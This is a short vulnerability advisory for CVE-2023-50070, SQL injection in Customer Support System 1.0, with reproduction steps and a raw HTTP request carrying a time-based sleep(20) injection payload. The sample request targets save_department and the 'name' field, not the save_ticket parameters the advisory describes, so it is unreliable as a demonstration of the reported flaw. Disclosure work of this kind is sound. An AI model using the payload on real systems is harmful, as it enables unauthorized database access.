CVE-2023–50070

Customer Support System 1.0 — Multiple SQL injection vulnerabilities — save_ticket

Description: Multiple SQL injection vulnerabilities in /customer_support/ajax.php?action=save_ticket in Customer Support System 1.0 allow authenticated attackers to execute arbitrary SQL commands via department_id, customer_id and subject.

Vulnerable Product Version: Customer Support System 1.0
CVE Author: Geraldo Alcântara
Date: 29/11/2023
Confirmed on: 15/12/2023
CVE: CVE-2023–50070
Tested on: Windows

Steps to reproduce:

1- Log in to the application.

2- Navigate to the page /customer_support/index.php?page=new_ticket.

3- Create a new ticket and insert a malicious payload into one of the following parameters: department_id, customer_id, or subject.

POST /customer_support/ajax.php?action=save_department HTTP/1.1
Host: 192.168.68.148
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------279004446431847057031125356738
Content-Length: 444
Origin: http://192.168.68.148
Connection: close
Referer: http://192.168.68.148/customer_support/index.php?page=department_list
Cookie: csrftoken=1hWW6JE5vLFhJv2y8LwgL3WNPbPJ3J2WAX9F2U0Fd5H5t6DSztkJWD4nWFrbF8ko; sessionid=xrn1sshbol1vipddxsijmgkdp2q4qdgq; PHPSESSID=mfd30tu0h0s43s7kdjb74fcu0l

-----------------------------279004446431847057031125356738
Content-Disposition: form-data; name="id"


-----------------------------279004446431847057031125356738
Content-Disposition: form-data; name="name"

test'+(select*from(select(sleep(20)))a)+'
-----------------------------279004446431847057031125356738
Content-Disposition: form-data; name="description"

Teste
-----------------------------279004446431847057031125356738--

Discoverer(s)/Credits:
Geraldo Alcântara